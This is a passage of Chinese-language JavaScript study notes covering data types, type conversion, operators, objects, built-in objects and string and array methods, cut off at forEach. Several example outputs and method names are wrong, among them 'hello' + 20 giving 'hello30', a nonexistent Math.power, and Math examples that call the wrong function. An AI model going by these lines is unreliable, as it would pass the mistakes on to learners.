这是js存在的一个悠久Bug，js的最初版本中使用的是32位系统，为了性能考虑使用低位存储变量的类型信息，在js中如果二进制的前三位都为0，就会被判断为object类型，null的二进制全为0，所以将它错误的判断为object，故 typeof null === 'object'
也可以一句话带过：历史遗留原因，后期不改了

undefined

undefined 类型的值只有一个，就是undefined，表示未定义，即声明了为赋值

这个类型只有一个值，在声明变量未进行赋值时，这个变量的值就是undefined

typeof undefined;   // undefined

引用数据类型

又称复杂数据类型或对象类型，存储在堆中，且大小不固定，同时在栈中会存储其指向堆地址的指针，按引用来访问

Object    Array    Function
 对象      数组       函数

Object

var obj = new Object();

Array

var arr = new Array();

Function

function add(a, b) {
  return a + b;
}

数据类型区别

基本类型的值是不可变得、基本类型的比较是值的比较、基本类型的变量是存放在栈的

引用类型的值是可变的、引用类型的比较是引用的比较、引用类型的值是保存在堆中

示例：

var a1 = 0;
var a2 = 'this is str';
var a3 = null;
var c = [1, 2, 3];
var b = { m: 20 };

基本数据类型保存在栈内存中，因为基本数据类型占用空间小、大小固定，通过按值来访问，属于被频繁使用的数据

引用数据类型存储在堆内存中，因为引用数据类型占据空间大、占用内存不固定。 如果存储在栈中，将会影响程序运行的性能； 引用数据类型在栈中存储了指针，该指针指向堆中该实体的起始地址。 当解释器寻找引用值时，会首先检索其在栈中的地址，取得地址后从堆中获得实体

栈和堆的区别

  1. 栈由系统自动分配释放，堆由程序员分配释放

  2. 栈使用的是一级缓存，通常都是被调用时处于存储空间中，调用完毕立即释放；堆则是存放在二级缓存中，生命周期由虚拟机的垃圾回收算法来决定

  3. 栈是一种先进后出的数据结构，堆可以被看成是一棵树

数据类型转换

如何使用谷歌浏览器，快速的查看数据类型？

字符串的颜色是黑色的，数值类型是蓝色的，布尔类型也是蓝色的，undefined和null是灰色的

在包含的数字和字符串的表达式中使用加法运算符（+），JavaScript 会把数字转换成字符串

在涉及其它运算符（译注：如下面的减号’-‘）时，JavaScript语言不会把数字变为字符串

console.log('hello' + 20); // hello30
console.log('1' + 2); // 12
console.log(1 + '2'); // 12
console.log('2' - 1); // 1
console.log(2 - '1'); // 1

数值转字符串

String()：全局方法

把数字、文字、变量或表达式转为字符串；

有些值没有toString()，这个时候可以使用String()，比如：undefined和null

String(3.14); // 3.14
String(1 + 2); // 3
String(true); // true
String(null); // null
String(undefined); // undefined
String(function fn() {}); // function fn() {}
String({}); // [object Object]
String([]); // ""
String(NaN); // NaN

toString()：数字方法，不能把null和undefined转为字符串

(3).toString(); // 3
'hello'.toString(); // hello
true.toString(); // true
[].toString(); // ""
NaN.toString(); // NaN
null.toString(); // Cannot read property 'toString' of null
undefined.toString(); // Cannot read property 'toString' of undefined
{}.toString(); // Uncaught SyntaxError: Unexpected token
var b;
console.log(b.toString()); // 报错，b声明了未赋值，为undefined
var c = null;
console.log(c.toString()); // 报错

字符串转数值

Number()：全局方法，较严格

可把字符串转换为数字，较严格

可以把任意值转换成数值，如果要转换的字符串中有一个不是数值的字符，返回NaN

Number('3.14'); // 3.14
Number('11 22'); // NaN
Number(''); // 0
Number('hello'); // NaN
Number('10abc'); // NaN
Number(true); // 1
Number(false); // 0
Number(null); // 0
Number(undefined); // NaN
Number(NaN); // NaN
Number(new Date()); // 1615950656720 获取时间戳
Number({}); // NaN
Number([]); // 0
Number([1,2]); // NaN

parseInt()

转整数，解析一段字符串并返回数值。允许空格。只返回首个数字

parseInt(10.5); // 10
parseInt('10.5'); // 10
parseInt('10hello'); // 10
parseInt('hello'); // NaN
parseInt('hello10'); // NaN
parseInt('10 20'); // 10
parseInt(null); // NaN
parseInt(undefined); // NaN
parseInt([]); // NaN
parseInt({}); // NaN

parseFloat()

转小数，解析一段字符串并返回数值。允许空格。只返回首个数字

parseFloat(10); // 10
parseFloat(10.5); // 10.5
parseFloat('10'); // 10
parseFloat('10.5'); // 10.5
parseFloat('10.5abc'); // 10.5
parseFloat('10abc'); // 10
parseFloat('abc10'); // NaN
parseFloat(null); // NaN
parseFloat(undefined); // NaN
parseFloat([]); // NaN
parseFloat({}); // NaN

数据类型检测

typeof

作用

  1. 使用typeof 获取变量的类型
  2. typeof 来获取一个变量是否存在，变量不存在则返回 undefined

typeof返回的数据类型（基本数据类型使用typeof检测）

String    Number    Boolean    undefined    Object    Function

*typeof 运算符把对象、数组或 null 返回 object，所以返回类型没有 array 和 null *

typeof ''; // string 空的字符串变量既有值也有类型
typeof 'hello'; // string

typeof 10; // number
typeof NaN; // number

typeof true; // boolean
typeof false; // boolean

typeof undefined; // undefined
typeof a; // undefined

typeof function fn() {}; // function
typeof function() {} // function
typeof console.log // function

typeof []; // object -- 在 JavaScript 中数组即对象
typeof {}; // object
typeof null; // object -- null 是一个只有一个值的数据类型，这个值就是 null。表示一个空指针对象
typeof new Date(); // object

typeof (''); // string

typeof /[0-9]/; // object

注意：您无法使用 typeof 去判断 JavaScript 对象是否是数组（或日期）

instanceof

作用：用于判断一个变量是否属于某个对象的实例

const a = [];
a instanceof Array; // true
// a.__proto__ == Array.prototype
1. 只要在当前实例的原型链上，用 instanceof 检测出来的结果都是 true，所以在类的原型继承中，最后检测出来的结果未必是正确的，而且 instanceof 后面必须跟一个对象
2. 不能检测基本类型

检测数组

constructor 属性
constructor 属性返回所有 JavaScript 变量的构造器函数

每个构造函数的原型对象都有一个constructor属性，并且指向构造函数本身，由于我们可以手动修改 这个属性，所以结果也不是很准确。 不能检测null和undefined

"hello".constructor                     // 返回 "function String()  { [native code] }"
(3.14).constructor                      // 返回 "function Number()  { [native code] }"
false.constructor                       // 返回 "function Boolean() { [native code] }"
[1, 2, 3, 4].constructor                // 返回 "function Array()   { [native code] }"
{ name: 'hello', age: 20 }.constructor  // 返回" function Object()  { [native code] }"
new Date().constructor                  // 返回 "function Date()    { [native code] }"
function () {}.constructor              // 返回 "function Function(){ [native code] }"

您可以通过检查 constructor 属性来确定某个对象是否为数组（包含单词 “Array”）

function isArray(arr) {
    return arr.constructor.toString().indexOf('Array') > -1;
}

您可以通过检查 constructor 属性来确定某个对象是否为日期（包含单词 “Date”）

function isDate(date) {
    return date.constructor.toString().indexOf('Date') > -1;
}

Object.prototype.toString.call（检测数组最佳方案）

调用Object原型上的toString()方法，并且通过call改变this指向，返回的是字符串

function isArray(arr) {
return Object.prototype.toString.call(arr) === '[object Array]';
}

ES6方法Array.isArray()

const arr = [];
Array.isArray(arr); // true

NaN 和 isNaN()

NaN

NaN（Not a Number)，即非数值，用于表示一个本来要返回数值的操作数未返回数值的情况

特点：

1. 任何涉及NaN的操作 (例如 NaN/10) 都会返回NaN
2. NaN与任何值都不相等，包括NaN本身

isNaN()函数

这个函数接受一个参数，该参数可以是任何类型。isNaN()在接收到一个值后，会尝试将这个值转换为数值，而任何不能被转换为数值的值都会导致函数返回true

isNaN(NaN); // true 
isNaN(10); // false（10 是一个数值）
isNaN("10"); // false（可以被转换成数值 10）
isNaN("blue"); // true（不能转换成数值）
isNaN(true); // false（可以被转换成数值 1）

运算符

算数运算符

运算符描述
+加法
-减法
*乘法
/除法
%系数
++递加
–递减
var a = 10 + 20; // 30
var a = '20' + '10'; // 2010
var a = '20' + 10; // 2010
var a = 10 + '20'; // 1020
var a = 10 + NaN; // NaN
var a = NaN + 10; // NaN
var a = '10' + NaN; // 10NaN
var a = NaN + '10'; // NaN10
var a = undefined + 10; // NaN
var a = true + 0; // 1
var a = {} + [];  // 0
var a = 1 + {};  // 1[object Object]
var a = 1 + [];  // 1
var a = 1 + [2];  // 12
1 + [2, 3]; // 12,3

var b = 20 - 10; // 10
var b = 20 - '10'; // 10
var b = '20' - 10; // 10
var b = '20' - '10'; // 10
var b = 10 - NaN; // NaN
var b = NaN - 10; // NaN
var b = '10' - NaN; // NaN
var b = NaN - '10'; // NaN

var c = 10 * 20; // 200
var c = '10' * 20; // 200
var c = 10 * '20'; // 200
var c = 10 * NaN; // NaN
var c = NaN * 10; // NaN
var c = '10' * NaN; // NaN
var c =  NaN * '10'; // NaN
var c = null * 10; // 0  空值null在数值类型环境中会被当作0来对待，而布尔类型环境中会被当作false
var c = true * 10; // 10
var c = false * 10; // 0

var d = 20 / 10; // 2
var d = '20' / 10; // 2
var d = 20 / '10'; // 2
var d = NaN / 10; // NaN
var d = 10 / NaN; // NaN
var d = '10' / NaN; // NaN
var d  = NaN / '10'; // NaN
var a = 10;
var b = 20;
var c = 4;
console.log(++b+c+a++); // 21 + 4 + 10 = 35
var a = '11' + 2 - '1';
console.log(a); // 111
console.log(typeof a); // number

赋值运算符

运算符例子等同于
=x = yx = y
+=x += yx = x + y
-=x -= yx = x - y
*=x *= yx = x * y
/=x /= yx = x / y
%=x %= yx = x % y

比较运算符

运算符描述
==等于
===等值等型
!=不相等
!==不等值或不等型
>大于
<小于
>=大于或等于
<=小于或等于
?三元运算符

==会自动转换类型，然后再比较，===不会类型转换，直接比较

1 == 1; // true
1 == '1'; // true
1 == true; // true
0 == false; // true
2 == true; // false
0 == ''; // true
[] == 0;  // true
![] == 0;  // true
[] == ![];  // true
[] == [];  // false
[] == false; // true
{} == {};  // false
{} == !{}; // false
NaN == NaN; // false
undefined == null // true
undefined === null // false

1 === 1; // true
1 === '1'; // false
1 === true; // false
[] === 0  // false
=== // 先判断左右两边的数据类型，如果数据类型不一致，直接返回 false，之后才会进行两边值的判断

'1' < '2'; // true
'1' < 2; // true
'1' > '2'; // false
'1' > 2; // false

null == null; // true
null === null; // true

undefined == undefined; // true
undefined === undefined; // true

null == undefined; // true
null === undefined; // false

!null; // true
isNaN(1 + null); // false  (1 + null = 1 + 0 = 1, null在数值环境转为0) 
isNaN(1 + undefined); // true (1 + undefined = 1 + NaN = 1, undefined在数值环境转为NaN)

NaN == NaN; // false
NaN === NaN; // false

逻辑运算符

运算符描述
&&逻辑与
||逻辑或
!逻辑非

示例

true || false // true

true && false // false
'hello'; // hello
!'hello'; // false
!!'hello'; // true

对象

简介

对象：有属性和方法，具体特指的某个事物

var obj = {
    name: '张三',
    sayHello: function() {
        console.log('hello');
    }
}
// 上面定义了一个普通对象obj
// name 是属性
// sayHello 是方法，方法的定义：当一个函数是一个对象的属性时，称之为方法

在 JavaScript 中，几乎“所有事物”都是对象。

  • 布尔是对象（如果用 new 关键词定义）
  • 数字是对象（如果用 new 关键词定义）
  • 字符串是对象（如果用 new 关键词定义）
  • 日期永远都是对象
  • 算术永远都是对象
  • 正则表达式永远都是对象
  • 数组永远都是对象
  • 函数永远都是对象
  • 对象永远都是对象

所有 JavaScript 值，除了原始值，都是对象

// JavaScript 原始值：指的是没有属性或方法的值
string    number    boolean    null    undefined
对象是包含变量的变量，对象也是变量
方法是可以在对象上执行的动作

Javascript中的对象包括：自定义对象、内置对象、浏览器对象

对象创建

字面量创建对象

注意：方法里的this指向当前对象，能被当前对象直接调用

var obj = {
  name: 'web',
  age: 20,
  sayName: function() {
    console.log('my name is ' + this.name); // 这里this指向当前对象
  }
}
obj.sayName(); // my name is web
var obj = {};
obj.name = 'web';
obj.age = 20;
obj.sayName = function() {
  console.log('my name is ' + this.name);
}
obj.sayName() // my name is web

自定义构造函数创建对象

注意：构造函数里的this指向当前new出来的实例对象，能被实例对象直接调用

function Person(name, age) {
  this.name = name;
  this.age = age;
  this.getInfo = function() {
    console.log('my name is ' + this.name + ', my age is ' + this.age);
  }
}

// 创建对象
var obj = new Person('Jack', 20);
obj.name; // Jack
obj.age; // 10
obj.getInfo(); // my name is Jack, my age is 20

new Object()创建对象

var person = new Object();

person.name = 'Jack';
person.age = 20;
person.sayHi = function(){
  console.log('hello');
}

工厂方法创建对象

function createPerson(name, age) {
  var person = new Object();
  person.name = name;
  person.age = age;
  person.sayHi = function() {
    console.log('hello');
  }
  return person;
}
var p = createPerson('Jack', 20);

对象调用

设置和获取属性

对象属性的调用：obj.name    obj['name']
对象的方法调用：obj.sayHello();
var obj = {
  name: 'Jack',
  age: 20,
  sayHello: function() {
    console.log('hello');
  }
}

// 属性的调用
obj.name; // Jack
obj['name']; // Jack

// 设置属性值
obj['name']; = 'Mark';
obj['name']; // Mark

// 方法的调用
obj.sayHello(); // hello
obj['sayHello'](); // hello

obj.attr 与obj[‘attr’] 的区别

// []可以用变量作为属性名访问，而点不行
// []可以用数字作为属性访问，但点不行
// []可以动态访问属性名，可以在程序运行时创建和修改

对象遍历

通过for..in语法可以遍历一个对象

for(var key in obj) {
  console.log(key + "==" + obj[key]);
}

删除对象属性

delete obj.name;

对象易变

对象是易变的：它们通过引用来寻址，而非值，对象存储在堆中

注释：JavaScript 变量不是易变的。只有 JavaScript 对象如此

var b = {
  name: 'hi'
}
var a = b; // 此时只是把引用地址给了a， a和b是同一个对象（所以改变a，同时也会改变b）
a.name = 'hello';
b; // { name: 'hello' }

内置对象

内置对象：JS系统自带的对象

Math    Date    String    Array    Object    JSON

Number对象

方法说明
Number.parseInt()把字符串解析成特定基数对应的整型数字，和全局方法 parseInt() 作用一致
Number.parseFloat()把字符串参数解析成浮点数，
和全局方法 parseFloat() 作用一致

数字类型原型上的一些方法

方法说明示例
toFixed()返回指定小数位数的表示形式var a=123,b=a.toFixed(2) //b=”123.00”
toExponential()返回一个数字的指数形式的字符串1.23e+2
toPrecision()返回一个指定精度的数字。如下例子中，a=123中，3会由于精度限制消失var a=123,b=a.toPrecision(2) //b=”1.2e+2”

Math对象

方法说明示例
Math.floor(值)向下取整Math.floor(12.3)=12；Math.floor(12.9)=12；
Math.ceil(值)向上取整Math.floor(12.3)=13；Math.floor(12.9)=13；
Math.abs(值)绝对值（-1=1、-2=2、null=0、”string”=NaN）
Math.round(值)四舍五入Math.floor(12.3)=12；Math.floor(12.5)=13；
Math.max(一组数值)取最大值Math.max(3, 2, 5, 6)=6
Math.min(一组数值)取最小值Math.max(3, 2, 5, 6)=2
Math.power(2,4)求指数次幂16
Math.sqrt(16)求平方根4
Math.sin( )正弦
Math.cos( )余弦
Math.random( )生成随机数parseInt(Math.random()*5)+1;
//04随机数（其中Math.random()产生0.01.0之间的随机double值）
Math.PI圆周率

Date对象

let date = new Date().toISOString().slice(0, 10) // 获取当前日期：格式为'2020-05-20'
var d = new Date()
console.log(d) // Sun Apr 14 2019 20:46:02 GMT+0800 (中国标准时间)
dt.valueOf() // 毫秒1555246148513

var d = Date.now()
console.log(d) // 毫秒1555246148513
var d = new Date()

d.getFullYear() // 获取年份
d.getMonth() + 1 // 获取月份，是0开始的 真实的月份是需要加1的
d.getDate() // 获取日期
d.getHours() // 获取小时
d.getMinutes() // 获取分钟 
d.getSeconds() // 获取秒
d.getDay() //0获取星期，星期从0开始的
function getNowTime() {
var date = new Date();
h = date.getHours();
m = date.getMinutes();
s = date.getSeconds();
hou = (h < 10 ? "0" : "") + h;
min = (m < 10 ? "0" : "") + m;
sec = (s < 10 ? "0" : "") + s;
var ymd = date.getFullYear() + '-' + (date.getMonth() + 1) + '-' + date.getDate() + " " + hou + ':' + min + ':' + sec;
w = date.getDay();
week = "星期" + "日一二三四五六".split('')[w];
var nowdate = ymd + " " + week;
document.getElementById("time").innerHTML = nowdate;
}
setInterval("getNowTime()", 1000);

秒杀倒计时

function getTime() {
    var startTime = '2020-05-28 09:00:00';
    var endTime = '2020-05-28 12:00:00';
    var nowTime = new Date().getTime() - new Date(startTime).getTime() >= 0 ? new Date().getTime() : new Date(startTime).getTime();
    var time = new Date(endTime).getTime() - nowTime;
    time = time / 1000;
    var d = {
        h: Math.floor(time / 3600) < 10 ? '0' + Math.floor(time / 3600) : Math.floor(time / 3600),
        m: Math.floor(time % 3600 / 60) < 10 ? '0' + Math.floor(time % 3600 / 60) : Math.floor(time % 3600 / 60),
        s: Math.floor(time % 3600 % 60) < 10 ? '0' + Math.floor(time % 3600 % 60) : Math.floor(time % 3600 % 60)
    }
    console.log(`${d.h}-${d.m}-${d.s}`)
}

setInterval(() => {
    getTime()
}, 500);

String对象

Array对象

Array()

Array(); // []
Array(3); // [, , ,]
Array(1, 2, 3); // [1, 2, 3]
Array(undefined); // [undefined]

Array.of()

方法用于将一组值，转换为数组（ES6）

Array.of(); // []
Array.of(3); // [3]
Array.of(1, 2, 3); // [1, 2, 3]
Array.of(undefined) // [undefined]

Array.from()

方法用于将两类对象转为真正的数组（ES6）

Array.from('hello');
// ['h', 'e', 'l', 'l', 'o']

Array.from([1, 2, 3]);
// [1, 2, 3]

Object对象

Object.assign(target, source)

注意：会改变目标对象target

const a = { a: 1, b: 2 };
const b = { b: 3, c: 5 };

const c = Object.assign(a, b);

console.log(a); // { a: 1, b: 3, c: 5 }

console.log(c); // { a: 1, b: 3, c: 5 }

Object.prototype.hasOwnProperty()

方法会返回一个布尔值，指示对象自身属性中是否具有指定的属性（也就是，是否有指定的键）

var obj = { a: 10, b: 20, c: 30 };
obj.hasOwnProperty('a'); // true
obj.hasOwnProperty('d'); // false
var arr = [1, 2, 3];
arr.hasOwnProperty(0); // true
arr.hasOwnProperty(1); // true
arr.hasOwnProperty(2); // true
arr.hasOwnProperty(3); // false

JSON对象

JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式。

它是基于JavaScript的一个子集，数据格式简单，易于读写，占用宽带小

JSON格式的数据：一般都是成对的，是键值对，json也是一个对象，数据都是成对的，一般json格式的数据无论是键还是值都是用双引号括起来的

var json = {
"name": "Jack",
"age": "10",
"sex": "man"
}

JSON.stringify()

// 服务器接受到的数据永远是字符串，故发送到服务器的数据是对象JSON字符串化
JSON.stringify({a:10, b:20})

JOSN.parse()

// 从服务器获取的数据永远是字符串，故需解析为JS对象化
JOSN.parse('{"a":10,"b":20}')

JSON遍历

遍历对象，是不能通过for循环遍历，无序，key是一个变量，这个变量中存储的是该对象的所有的属性的名字

for (var key in json) {
console.log(key + "--" + json[key])
}

// name--Jack
// age--10
// sex--man

getters 与 setters

一个 getter 是一个获取某个特定属性的值的方法

一个 setter 是一个设定某个属性的值的方法

var obj = {
  a: 7,
  get b() { 
    return this.a + 1;
  },
  set c(x) {
    this.a = x / 2
  }
};

console.log(obj.a); // 7
console.log(obj.b); // 8
obj.c = 50;
console.log(obj.a); // 25
console.log(obj.b); // 26

ES5 新的对象方法

// 添加或更改对象属性
Object.defineProperty(object, property, descriptor)

// 添加或更改多个对象属性
Object.defineProperties(object, descriptors)

// 访问属性
Object.getOwnPropertyDescriptor(object, property)

// 以数组返回所有属性
Object.getOwnPropertyNames(object)

// 以数组返回所有可枚举的属性
Object.keys(object)

// 访问原型
Object.getPrototypeOf(object)

// 阻止向对象添加属性
Object.preventExtensions(object)

// 如果可将属性添加到对象，则返回 true
Object.isExtensible(object)

// 防止更改对象属性（而不是值）
Object.seal(object)

// 如果对象被密封，则返回 true
Object.isSealed(object)

// 防止对对象进行任何更改
Object.freeze(object)

// 如果对象被冻结，则返回 true
Object.isFrozen(object)

字符串

字符串简介

用于存储和操作文本

字符串长度

内建属性 length 可返回字符串的长

var str = 'hello';
str.length; // 5

字符串可以是对象

通常，JavaScript 字符串是原始值，通过字面方式创建

var a = 'hello';
typeof a; // string

但是字符串也可通过关键词 new 定义为对象

var b = new String("hello");
b; // String {"hello"}
typeof b; // object

上面两个对象值相等，但类型不相同，因此

a == b; // true
a === b; // false 因为a是字符串，b是对象

对象无法比较

var a = new String("hello");
var b = new String("hello");
a == b; // false
var a = {};
var b = {};
a == b; // false

字符串方法

​ 字符串可以看成是字符组成的数组，但是js中没有字符类型，在js中字符串可以使用单引号也可以使用双引号，因为字符串可以看成是数组，所以可以通过for循环进行遍历

字符串特性：不可变性，字符串的值是不能改变

length

属性返回字符串的长度

var str = 'abcde';

console.log(str.length); // 5

indexOf(字符串)

方法返回字符串中指定文本首次出现的索引位置，没找到返回-1

var str = '12345678988';

var index = str.indexOf('8', 5); // 7
var index = str.indexOf('10', 5); // -1 没有返回-1

concat()

字符串拼接合并，连接两个或更多字符串，并返回新的字符串 【不改变原有字符串】

var str1 = '123';
var str2 = '456';
var a = str1.concat(str2);
a // 123456

var str1 = 'a';
var str2 = 'b';
var str3 = 'c';
var a = str1.concat(str2, str3);
a // abc

replace()

字符串替换，默认替换第一个 【不改变原字符串】

var str = 'aaabbccc';

str.replace('b', 'e'); // aaaebccc

split()

把字符串分割为字符串数组 【不改变原字符串】

// 字符串转数组
var str = 'A,B,C';
var arr = str.split(',');
arr // ["A", "B", "C"]

// 数组转字符串
var arr = ['A','B','C'];
var str = arr.join(',');
str // A,B,C

includes

判断字符串中是否包含指定的子字符串 【不改变原字符串】

var str = 'hello, today is goods';

str.includes('is'); // true
str.includes('no'); // false

slice(起始索引, 终止索引-1)

截取字符串，如果省略第二个参数，则截取字符串剩余部分 【不改变原字符串】

var str = '123456789a';

str.slice(3); // 456789a 
str.slice(5, 7); // 67

substr(起始索引, 长度)

返回的是截取后的新的字符串【不改变原字符串】

var str = '123456789';

str.substr(5); // 6789
str.substr(5, 3); // 678
str; // 123456789

trim()

干掉字符串两端的空格 【不改变原字符串】

var str = '  a  b  c  ';

str.trim(); // a b c
str; // '  a  b  c  '

toLowerCase() / toUpperCase()

转小写/转大写【不改变原字符串】

var str = 'AaBbCc';

str.toLowerCase(); // aabbcc
str.toUpperCase(); // AABBCC
str; // AaBbCc

数组

数组简介

数组：是一种特殊的变量，它能够一次存放一个以上的值；一组有序的数据

作用：用于在单一变量中存储多个值

注意：数组是一种特殊类型的对象

数组创建

通过字面量的方式创建数组（推荐）

var arr = []; // 空数组
var arr = [1, 2, 3, 4, 5];

数组长度

var arr = [1, 2, 3, 4, 5];
arr.length; // 5

访问元素（通过索引访问）

var arr = [5, 3, 2, 4, 1];
arr[0]; // 5
arr[1]; // 3
arr[5]; // undefined

数组赋值

// 如果下标有对应的值，会把原来的值覆盖，如果下标不存在，会给数组新增一个元素。
var arr = [3,1,2];
arr[0] = 5;
arr; // [5, 1, 2]
arr[3] = 6;
arr; // [5, 1, 2, 6]

通过构造函数创建数组

var arr = new Array(); // 空数组
var arr = new Array(5); // 定义了一个长度为5的空数组
var arr = new Array(1,2,4,3,5); // 定义了一个数据为[1,2,3,4,5]的数组
// 能通过构造函数创建，证明数组也是对象
var arr = new Array(1,2,4,3,5);

typeof arr; // object
arr instanceof Array; // true
arr instanceof Object; // true

数组方法

序号方法描述
6concat()连接（合并）两个或更多的数组，并新的数组，不改变原数组
7reverse()反转数组
8splice()通过索引删除某个元素，或插入元素
9slice()1. 复制一个数组 2.截取数组的的一部分，并返回一个新数组，不改变原数组
10sort()数组排序，会改变原数组
11reduce()将数组元素计算为一个值（从左到右）
12indexOf()找出某个元素在数组中的索引，没找到这个元素就返回-1
13valueOf()返回数组对象的原始值
14toString()把数组转换为字符串，并返回结果
15forEach()数组每个元素都执行一次回调函数
16map()通过指定函数处理数组的每个元素，并返回处理后的数组 方法返回一个由原数组中的每个元素调用一个指定方法后的返回值组成的新数组，不改变原数组
17filter()过滤数组，并返回符合条件的所有元素组成新的数组，不改变原数组
18every()检测数值元素的每个元素是否都符合条件，不改变原数组
19some()检测数组元素中是否有元素符合指定条件，不改变原数组

push()

向数组末尾添加一个新的元素或更多元素，并返回新的长度

var arr = [1, 2, 3];
arr.push(4);
console.log(arr); // [1, 2, 3, 4]
var arr = [1, 2, 3];
var len = arr.push(4, 5);
console.log(arr); // [1, 2, 3, 4, 5]
console.log(len); // 5 返回长度

pop()

删除数组最后一个元素，并返回删除的元素，如果数组为空返回undefined

var arr = [1, 2, 3];
arr.pop();
console.log(arr); // [1, 2]
var arr = [1, 2, 3];
var ele = arr.pop();
console.log(arr); // [1, 2]
console.log(ele); // 3 返回删除的元素
var arr = [];
arr.pop(); // undefined

unshift()

向数组开头添加一个新的元素或更多元素，并返回新的长度

var arr = [1, 2, 3];
arr.unshift(0);
console.log(arr); // [0, 1, 2, 3]
var arr = [1, 2, 3];
var len = arr.unshift(6, 9);
console.log(arr); // [6, 9, 1, 2, 3]
console.log(len); // 5 返回长度

shift()

删除数组第一个元素，并返回删除的元素，如果数组为空返回undefined

var arr = [1, 2, 3];
arr.shift();
console.log(arr); // [2, 3]
var arr = [1, 2, 3];
var ele = arr.shift();
console.log(arr); // [2, 3]
console.log(ele); // 1
var arr = [];
arr.shift(); // undefined

reverse()

反转数组 【改变原数组】

var arr = [1, 2, 3];
arr.reverse();
arr; // [3, 2, 1]

splice(删除元素的索引, 删除元素数量, 新插入的元素)

第一个参数是索引，通过索引删除数组元素【改变原数组】

var arr = [1, 2, 3];
arr.splice(2);
arr; // [1, 2]

第二个参数是删除元素个数，如果设置为 0，则不会删除项目

var arr = [1, 2, 3];
arr.splice(0, 2);
arr; // [3]

第三个参数是新插入的元素

var arr = [1, 2, 3];
arr.splice(1, 0, 4);
arr; // [1, 4, 2, 3]  插入元素

join()

数组转字符串，【不改变原数组】

var arr = [1, 2, 3];

arr.join('-'); // 1-2-3
arr; // [1, 2, 3]

concat()

连接（合并）两个或更多的数组，并新的数组【不改变原数组】

var arr1 = [1, 2, 3];
var arr2 = [3, 4, 5];
var a = arr1.concat(arr2);
a; // [1, 2, 3, 3, 4, 5] 必须声明一个变量接受返回数据
var arr1 = [1, 2];
var arr2 = [3, 4];
var arr3 = [5, 6];
var a = arr1.concat(arr2, arr3);
a; // [1, 2, 3, 4, 5, 6]

ES6语法

var arr1 = [1, 2];
var arr2 = [3, 4];
var arr3 = [5, 6];
var a = [...arr1, ...arr2, ...arr3];
a; // [1, 2, 3, 4, 5, 6]

slice()

复制数组【不改变原数组】

var arr = [1, 2, 3];
var copyArr = arr.slice();
copyArr; // [1, 2, 3]

截取数，两个参数都是索引

var arr = [1, 2, 3, 4, 5, 6];
var newArr = arr.slice(1, 3);
newArr; // [2, 3]

sort()

对数字进行排序（推荐）

var arr = [1, 6, 2, 4, 3, 5];
var a = arr.sort((a, b) => a - b);
arr; // [1, 2, 3, 4, 5, 6]
a; // [1, 2, 3, 4, 5, 6]

完整写法

var arr = [1, 6, 2, 5, 3];

arr.sort(function(a, b) {
if(a > b) {
return 1
} else if(a == b) {
return 0
} else {
return -1
}
})

arr; // [1, 2, 3, 5, 6]

对包含对象的数组排序

var arr = [
    {id: 001, sortNo: 2, name: 'c'},
    {id: 002, sortNo: 1, name: 'a'},
    {id: 003, sortNo: 3, name: 'b'}
];

// sort by sortNo
arr.sort(function(a, b) {
  return (a.sortNo - b.sortNo)
})

0: {id: 2, sortNo: 1, name: "a"}
1: {id: 1, sortNo: 2, name: "c"}
2: {id: 3, sortNo: 3, name: "b"}

--------------------------------

// sort by name
arr.sort(function(i, j) {
  var a = i.name.toUpperCase();
  var b = j.name.toUpperCase();
  if(a > b) {
    return 1;
  }
  if(a < b) {
    return -1;
  }
  return 0;
})

0: {id: 2, sortNo: 1, name: "a"}
1: {id: 3, sortNo: 3, name: "b"}
2: {id: 1, sortNo: 2, name: "c"}

示例封装方法

var arr = [
    {id: 001, sortNo: 2, name: '小二'},
    {id: 002, sortNo: 1, name: '小一'},
    {id: 003, sortNo: 3, name: '小三'}
];
  
function objArrSort(key) {
return function(i, j) {
var a = i[key];
var b = j[key];
if(a > b) {
return 1;
         } else if(a == b) {
return 0;
} else {
    return -1;
  }
    }
}
  
var sortArr = arr.sort(objArrSort('sortNo'))
console.log(sortArr)

0: {id: 2, sortNo: 1, name: "小一"}
1: {id: 1, sortNo: 2, name: "小二"}
2: {id: 3, sortNo: 3, name: "小三"}

reduce()

将数组元素计算为一个值（从左到右）

arr.reduce(callback, [initialValue])

callback(acc, cur, idx, arr) // (累计器, 当前值, 当前索引, 源数组)

[initialValue] // 作为第一次调用 callback 的第一个参数
var arr = [1, 2, 3, 4]
var sum = arr.reduce((acc, cur, idx, arr) => {
    console.log(acc, cur, idx)
    return acc + cur
})
console.log(arr, sum)
1 2 1
3 3 2
6 4 3
[1, 2, 3, 4] 10

这里可以看出，上面的例子index是从1开始的，第一次的acc的值是数组的第一个值。数组长度是4，但是reduce函数循环3次

reduce的简单用法

var  arr = [1, 2, 3, 4];
var sum = arr.reduce((x, y) => x + y)
var mul = arr.reduce((x, y) => x * y)
console.log( sum ) // 10 求和
console.log( mul ) // 24 求乘积

reduce的高级用法

（1）计算数组中每个元素出现的次数

var arr = ['a', 'b', 'c', 'd', 'b', 'b'];

var a = arr.reduce((pre, cur) => {
  if(cur in pre){
    pre[cur]++
  }else{
    pre[cur] = 1 
  }
  return pre
}, {})
console.log(a) // {a: 1, b: 3, c: 1, d: 1}

（2）数组去重

var arr = [1, 2, 3, 4, 3]
var a = arr.reduce((pre, cur)=>{
    if(!pre.includes(cur)){
      return pre.concat(cur)
    }else{
      return pre
    }
}, [])
console.log(a) // [1, 2, 3, 4]

（3）将二维数组转化为一维

var arr = [[0, 1], [2, 3], [4, 5]]
var a = arr.reduce((pre, cur)=>{
    return pre.concat(cur)
}, [])
console.log(a) // [0, 1, 2, 3, 4, 5]

（3）将多维数组转化为一维

var arr = [[0, 1], [2, 3], [4, [5, 6, 7]]]
var fn = function(arr){
   return arr.reduce((pre, cur) => pre.concat(Array.isArray(cur) ? fn(cur) : cur), [])
}
console.log(fn(arr)) // [0, 1, 2, 3, 4, 5, 6, 7]

（4）对象里的属性求和

var arr = [
{ num: 2, price: 0.1 },
{ num: 3, price: 0.2 },
{ num: 1, price: 0.3 }
]

var sum = arr.reduce((prev, cur) => {
    return cur.price + prev
}, 0)
console.log(sum) // 0.6000000000000001

indexOf()

找出某个元素在数组中的索引，没找到这个元素就返回-1

var arr = [1, 2, 3];
var a = arr.indexOf(3); // 2
var b = arr.indexOf(4); // -1    没找到这个元素就返回-1，也就是数组不存在这个元素

isArray()

判断对象是不是数组类型: 两种

var arr = [1, 2, 3];

console.log(arr instanceof Array); // true
console.log(Array.isArray(arr)); // true

forEach()

遍历数组用，相当于for循环

var arr = [1, 2, 3];
arr.forEach((item, index, array) => {
  console.log(item, index, array)
})

结果：
